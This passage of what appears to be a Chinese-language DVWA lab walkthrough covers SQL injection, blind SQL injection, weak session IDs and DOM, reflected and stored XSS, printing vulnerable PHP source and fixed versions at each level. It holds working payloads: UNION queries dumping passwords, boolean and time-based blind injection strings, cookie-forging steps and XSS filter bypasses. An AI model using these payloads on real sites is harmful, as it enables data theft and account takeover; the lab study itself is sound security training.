抓包 >> 修改 id 为 1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password)from users #

同 low 级可使用 sqlmap 进行攻击

High

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

在 SQL 查询语句中添加了 LIMIT 1 希望控制只输出一个结果。同时设置了将查询提交也与结果显示页分离,不执行302跳转,防止了一般的sqlmap注入(sqlmap 注入过程中,无法在查询页上获得查询结果,也就无法进行下一步了)。

漏洞利用

虽然添加了 LIMIT 1 但可以通过 # 等注释符将其注释掉

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

Impossible

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();

// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

采用 PDO 技术,划清了代码与数据的界限,有效防御 SQL 注入,同时只有返回的查询结果数量为一时才会成功输出,这样有效的防御了脱库, Anti-CSRF token 机制的加入进一步提高了安全性。

SQL Injection(Blind) (SQL 盲注)

SQL 盲注不像一般的注入可直接从页面上看到输入语句的执行结果,盲注时无法从显示页面上获取执行结果,甚至连注入语句是否被执行都无法得知,因此盲注的难度比一般注入高。现存的SQL注入漏洞大多是盲注。

手工盲注思路

手工盲注过程完全只能通过返回的 “是” 和 “不是” 两个信息来判断,因此只能构造如 数据库名的第一字母是不是a? 等类似的只有 “是” 和 “不是” 答案的语句获得想要的信息,这类盲注称为 布尔盲注
而通过构造 数据库名的第一字母是a就等等 等通过时间函数延迟情况判断获得信息,这类盲注称为时间盲注

盲注步骤:

  • 判断是否存在注入,注入是字符型还是数字型
  • 猜解当前数据库名
  • 猜解数据库中的表名
  • 猜解表中的字段名
  • 猜解数据

Low

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

对 id 没有任何检查、过滤,返回给页面的结果也只有两种User ID exists in the database.User ID is MISSING from the database. 存在盲注漏洞

漏洞利用

布尔盲注

  • 判断是否存在注入,注入是字符型还是数字型

1 显示存在 >> 1' and 1=1 # 显示存在 >> 1' and 1=2 显示不存在 >> 存在字符型盲注

  • 猜解当前数据库名

先猜解数据库名的长度,再猜解每一个字符

1
2
3
4
1' and length(database())=1 #    显示不存在
1' and length(database())=2 # 显示不存在
1' and length(database())=3 # 显示不存在
1' and length(database())=4 # 显示存在,说明数据库名长度为4

采用二分法猜解数据库名

1
2
3
4
5
6
1' and ascii(substr(database(),1,1))>97 #   显示存在,说明数据库名第一个字母的ascii值大于97
1' and ascii(substr(database(),1,1))<122 # 显示存在,说明数据库名第一个字母的ascii值小于122
1' and ascii(substr(database(),1,1))<109 # 显示存在,说明数据库名第一个字母的ascii值小于109
1' and ascii(substr(database(),1,1))<103 # 显示存在,说明数据库名第一个字母的ascii值小于103
1' and ascii(substr(database(),1,1))<100 # 显示不存在,说明数据库名第一个字母的ascii值不小于100
1' and ascii(substr(database(),1,1))>100 # 显示不存在,说明数据库名第一个字母的ascii值不大于100

依次猜解出其它数据库名的字母

  • 猜解数据库中的表名

先猜解数据库表的数量

1
2
1' and (select count(table_name)from information_schema.tables where table_schema=database())=1 #   显示不存在
1' and (select count(table_name)from information_schema.tables where table_schema=database())=2 # 显示存在,说明数据库中有两个表

猜解表名

1
2
3
4
5
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #    显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在

说明第一个表的第一个字母为g,同样步骤猜测出两个表名 goustbook , users

  • 猜解表中的字段名

猜解表中的字段数

1
2
3
1' and (select count(column_name)from information_schema.columns where table_name='users')=1 # 显示不存在
...
1' and (select count(column_name)from information_schema.columns where table_name='users')=8 # 显示存在,说明users表中有8个字段

猜解字段名

1
2
3
1' and length(substr((select column_name from information_schema.columns where table_name='users' linit 0,1),1))=1 #    显示不存在
...
1' and length(substr((select column_name from information_schema.columns where table_name='users' linit 0,1),1))=7 # 显示存在,说明第一个字段为7个字符长度,然后采用二分法猜解出所有字段名
  • 猜解数据

采用二分法依次猜解

时间盲注

  • 判断是否存在注入,注入是字符型还是数字型
1
2
1' and sleep(5) #    有明显延迟
1 and sleep(5) # 没有延迟

说明存在字符型时间盲注

  • 猜解当前数据库名

猜解数据库名长度

1
2
3
4
1' and if(length(database())=1,sleep(5),1) #    没有延迟
1' and if(length(database())=2,sleep(5),1) # 没有延迟
1' and if(length(database())=3,sleep(5),1) # 没有延迟
1' and if(length(database())=4,sleep(5),1) # 有延迟,说明数据库长度为4字符

二分法猜解数据库名

1
2
3
4
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1) #    明显延迟
...
1' and if(ascii(substr(database(),1,1))<100,sleep(5),1) # 没有延迟
1' and if(ascii(substr(database(),1,1))>100,sleep(5),1) # 没有延迟

说明数据库名的第一个字符为 d ,同样步骤依次猜解其他字母。

  • 猜解数据库中的表名
1
2
3
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1) #    没有延迟

1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1) # 有延迟

说明有两个表,接着猜解表名

1
2
3
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) #    没有延迟
...
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 有延迟

说明第一个表名长度为9个字符,采用二分法猜解表名

  • 猜解表中的字段名

猜解表中字段的数量

1
2
3
4
1' and if((select count(column_name) from information_schema.columns where table_name= 'users')=1,sleep(5),1) #    没有延迟
...

1' and if((select count(column_name) from information_schema.columns where table_name= 'users')=8,sleep(5),1) # 有延迟

说明users表中有8个字段,接着猜解字段名

1
2
3
1' and if(length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1,sleep(5),1) #    没有延迟
...
1' and if(length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7,sleep(5),1) # 明显延迟

说明 users 表的第一个字段长度为7字符,采用二分法即可猜解出各字段名

  • 猜解数据

同样使用二分法

Medium

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

//mysql_close();
}

?>

加入 mysqli_real_escape_string 函数对特殊字符 \x00,\n,\r,',",\x1a 进行转义,同时前端使用下拉表单控制用户的输入。

漏洞利用

前端虽然控制了输入,但可利用抓包的方式来进行修改,一样能达到效果,流程同 Low 级别。

High

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}

// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

利用cookie传递参数id,查询结果为空时,会执行函数 sleep(seconds) 目的是为了扰乱时间盲注,同时在 SQL 查询语句中加入 limit 1 控制只输出;一个结果。

漏洞利用

虽然加入 limit 1 但仍可通过 # 将其注释掉,由于服务器端执行 sleep 函数会使时间注入的准确性受影响,可利用布尔注入达到目的。利用抓包改包的方式进行

Impossible

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();

// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

采用 PDO 技术,划清了代码与数据的界限,有效防御 SQL 注入,加入Anti-CSRF token 机制提供了安全性

Weak Session IDs (弱会话ID)

SessionID 会话ID,通常用于标识已登录的用户,证明用户在会话中的身份。
Cookie 用于标识客户端的用户身份,通常是勾选 下次自动登录 后保存在用户端的身份证明凭证,在 Cookie 过期前,用户不必输入用户名和密码就能登录。

说白了就是 Cookie 盗用,一般都是和 XSS 一起使用。

Low

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>

每次生成的 session_id 加1发给客户端

漏洞利用

Generate >> Burp Suite Pro 抓包 >> Cookie: PHPSESSID=tjbmcu13aaho7ab653vqpeibn3; security=low >> Action >> Send to Response >> Response >> Go >> Request 请求一次 ResponseSet-Cookie: dvwaSession 的值就 加1

Burp Suite Pro 将刚才拦截的数据包放行 >> Generate >> 再次抓包 >> Cookie: dvwaSession=4; PHPSESSID=tjbmcu13aaho7ab653vqpeibn3; security=low 前面请求了几次这里的 dvwaSession 就变成了多少。 >> 且每次请求只改变 dvwaSession 其他值不发生改变 >> 复制 CookieCookie: dvwaSession=4; PHPSESSID=tjbmcu13aaho7ab653vqpeibn3; security=low >> 换火狐浏览器(本身就是火狐则 Cookie 等数据,谷歌浏览器可能不成功) >> 输入网址 http://dvwa.local/vulnerabilities/weak_id/ 使用插件 hackbar 修改 Cookie 值然后访问,没输入用户名密码就直接进来了,甚至不用 dvwaSession 也能访问。

Medium

源码

1
2
3
4
5
6
7
8
9
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
setcookie("dvwaSession", $cookie_value);
}
?>

使用当前时间的时间戳作为SessionID

漏洞利用

和自增1没区别,说白了就是从 Unix 纪元 (January 1 1970 00:00:00 GMT) 到现在的秒数,就是一秒一秒的自增,可利用时间戳查询工具伪造。Unix时间戳工具

High

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}

?>

使用 setcookie(name,value,expire,path,domain,secure,httponly) 函数定义 Cookie ,name 必要,cookie 名称,value 必要,cookie 值,expire cookie 有效期,path cookie 服务器路径,domain cookie 域名,secure 是否通过 HTTPS 连接传输 cookie ,httponly cookie 是否仅通过 HTTP 协议访问
使用 MD5 值将生成的 session_id 进行加密,使无法直接推测出 SessionID

漏洞利用

使用 Burp Suite Pro 的 Response 进行重复请求,通过返回的 Set-Cookie 都是无规则的字符串,推测是 MD5 加密的值,使用 MD5 解密得到了数字,说白了就是将 Low 级别基础上添加了一个 MD5 加密,使用 MD5 工具就能伪造。

MD5加解密

Impossible

源码

1
2
3
4
5
6
7
8
9
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = sha1(mt_rand() . time() . "Impossible");
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>

随机数 + 随机数 + 固定字符串 Impossible 再进行 sha1 运算

XSS(DOM) (DOM Based Cross Site Scripting ,DOM型跨站脚本攻击)

DOM 是与平台、编程语言无关的接口,它允许程序或脚本动态访问和更新文档内容、结构和样式,处理结果能成为页面显示的一部分。DOM 中有很多对象,其中一些是用户可以操作的(如 URI , location , refelTer d等)。客户端脚本程序可通过 DOM 动态检查修改页面内容,不依赖于提交数据到服务端,而从客户端获得 DOM 中的数据在本地执行,如果 DOM 中的数据没有经过严格检查,就会产生 DOM-based XSS漏洞。

可能触发 DOM 型 XSS 的属性:

  • document.referer
  • window.name
  • location
  • innerHTML
  • document.write

document 表一个文档对象, window 表一个窗口对象,一个窗口下可有多个文档对象。所有一个窗口下只有一个 window.location.href,却可能有多个 document.URLdocument.location.href

document.URL 取值等价于 window.location.hrefdocument.location.href ,某些浏览器中可通过对 document.URL 赋值实现页面跳转,但某些浏览器不行。

该实验尽量选择使用火狐浏览器进行,火狐没有 XSS 过滤

indexOf(searchvalue,fromindex) 方法可返回指定字符串值在字符串首次出现的位置。searchvalue 必需,需检索的字符串值;fromindex 可选整数参数,规定字符串开始检索的位置,取值为 0~stringObject.length-1 若省略该参数,将从首字符开始检索。indexOf() 对大小写敏感,若未检索到字符串值,返回为 -1
substring(start,stop) 方法用于提取字符串中介于两个指定下标间的字符。start 必需,一个非负整数,规定提取字符的第一个字符在 stringObject 中的位置;stop 可选,一个非负整数,需要提取字符串最后一个字符的后一位,若省略该参数,将提取到结尾。
document.writeJavaScript 中对 document.open 所开启的文档流 document.stream 操作的 API 方法,它能直接在文档流中写入字符串,一旦文档流已经关闭,那 document.write 就会重新利用 document.open 打开新的文档流并写入,此时原来的文档流就会被清空,已渲染好的页面就会被清除,浏览器将重新构建 DOM 并渲染新页面。

Low

Low

1
2
3
4
5
6
<?php

# No protections, anything goes
# 没有任何防护措施

?>

漏洞利用

English ,Select >> URL 发现 default 参数值为 English >> 构造URL http://dvwa.local/vulnerabilities/xss_d/?default=<script>alert('DOM XSS')</script> >> 访问后 js 代码 alert 被执行,弹框显示了构造的内容。 >> F12 可查看到脚本内容

Medium

漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];

# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}

?>

array_key_exists(key,array) 检查某数组中是否存在指定的键,若键存在返回 true 不存在返回 falsekey 必需,指定键名;array 必需,指定数组。
stripos(string,find,start) 查找字符串在另一字符串中第一次出现的位置,返回字符串第一次出现的位置,若未找到字符串则返回 falsestring 必需,指定被搜索的字符串; find 必需,指定要查找的字符串;start 可选,指定开始搜索的位置。
header(string,replace,http_response_code) 向客户端发送原始 HTTP 报头。string 必需,指定要发送的报头字符串;replace 可选,指定该报头是否替换之前的报头,或添加第二个报头,默认替换(true) ,也可允许相同类型的多个报头(false);http_response_code 可选,把 HTTP 响应代码强制为指定值(PHP 4 及更高版本)。

default 变量进行过滤,通过 stripos() 查找<script 字符串在default 变量值中第一次出现的位置(不区分大小写),如果匹配就通过 location 将 URL 参数修正为 ?default=English

漏洞利用

过滤了 script 可使用其他标签达到效果。

  • 使用</option></select>闭合后使用 img 标签弹框。
1
?default=English</option></select><img src=x onerror=alert('XSS')>
  • 直接利用 input 弹框
1
?default=English<input onclick=alert('XSS') />

High

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}

?>

使用了白名单模式,如果 default 的值不是白名单内的值就重置 URL 为 ?default=English

漏洞利用

只对 default 变量进行了过滤

  • 可使用 & 连接另一个自定义变量绕过
1
2
3
?default=English&a=</option></select><img src=x onerror=alert('XSS')>

?default=English&a=<input onclick=alert('XSS') />
  • 使用 # 绕过
1
2
3
?default=English#</option></select><img src=x onerror=alert('XSS')>

?default=English#<input onclick=alert('XSS') />

Impossible

源码

后端源码

1
2
3
4
5
6
<?php

# Don't need to do anything, protction handled on the client side
# 无需对客户端进行任何处理和保护

?>

前端工作源码

1
2
3
4
5
# For the impossible level, don't decode the querystring
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
$decodeURI = "";
}

直接不对输入参数进行 URL 解码了,这样会导致标签实效,从而无法 XSS

XSS (Reflected) (Reflected Cross Site Scripting,反射型 XSS)

Low

源码

1
2
3
4
5
6
7
8
9
10
11
12

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

变量 name 为做任何过滤,只是检查是否为空。

漏洞利用

1
<script>alert('XSS')</script>

Medium

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

简单的过滤了 <script> 标签,由于通过正则匹配将检测到的敏感字符替换为空(删除)可使用嵌套和大小写转换绕过,也可使用其他标签绕过。

漏洞利用

1
2
3
4
5
<s<script>cript>alert('XSS')</script>

<Script>alert('XSS')</script>

<img src=x onerror=alert('XSS')>

High

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

正则过滤表更加完善,不区大小写,并通过通配符匹配,使嵌套构造当方式也不能成功,但还有其他很多标签可达到弹框效果。

漏洞利用

1
<img src=x onerror=alert('XSS')>

Impossible

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

XSS (Stored) (Stored Cross Site Scripting,存储型 XSS)

Low

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

trim(string,charlist) 移除字符串两侧的指定字符。string 必需,指定要检查的字符串;charlist 可选,指定从字符串中删除的字符,若干未指定,则移除 \0(null) , \t(制表符) , \n(换行) , \x0B(垂直制表符) , \r(回车) , 空格
stripslashes(string) 去除字符串的反斜杠,可用于清理从数据库中或从 HTML 表单中取回的数据。
mysqli_real_escape_string(string,connection) 转义 SQL 语句中使用的字符串中的特殊字符。string 必需,指定要转义的字符串;connection 可选,指定 MySQL 连接,若未指定,则使用上一个连接;将会转义的字符 \x00 , \n , \r , \ , ' , " , \xla

这些函数都只对数据库进行了防护,却没有考虑到对 XSS 进行过滤

漏洞利用

1
2
Name: xsstest
Message: <script>alert('XSS')</script>

到数据库中查询 select * from guestook; 提交的结果被插入到了数据库中

测试完成后为了不影响下面的测试,检验手动删除数据库中的记录。

Medium

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

addslashes(string) 返回在预定字符之前添加反斜杠的字符串。预定字符: ' , " , \ , null
strip_tags(string,allow) 剔去字符串中 HTML 、 XML 以及 PHP 的标签。 string 必需,指定检查的字符串;allow 可选,规定不被删除的标签。
htmlspecialchars(string,flags,character-det,double_encode) 包预定字符转换为 HTML 实体,预定字符: & , ' , " , < , >

message 变量几乎把所有的 XSS 都过滤了,但 name 只过滤了 <script> 标签而已,我们依然可在 name 参数尝试使用其他标签来触发弹框。

漏洞利用

name 的 input 输入文本框限制了长度,可通过审查元素手动将 maxlength 的值调大。

1
<input name="txtName" type="text" size="30" maxlength="50" type="text">

使用嵌套或大小写变化绕过

1
2
3
Name: <scr<script>ipt>alert('XSS')</script>

Name: <Script>alert('XSS')</script>

使用其他标签弹框

1
2
Name: <img src=x onerror=alert('XSS')>
Message: testxss

High

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

message 变量依然没有希望,name 变量只加强过滤 script 标签,依然可使用其他标签绕过

漏洞利用

1
2
Name: <img src=a onerror=alert('XSS')>
Message: testxss

Impossible

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );

// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

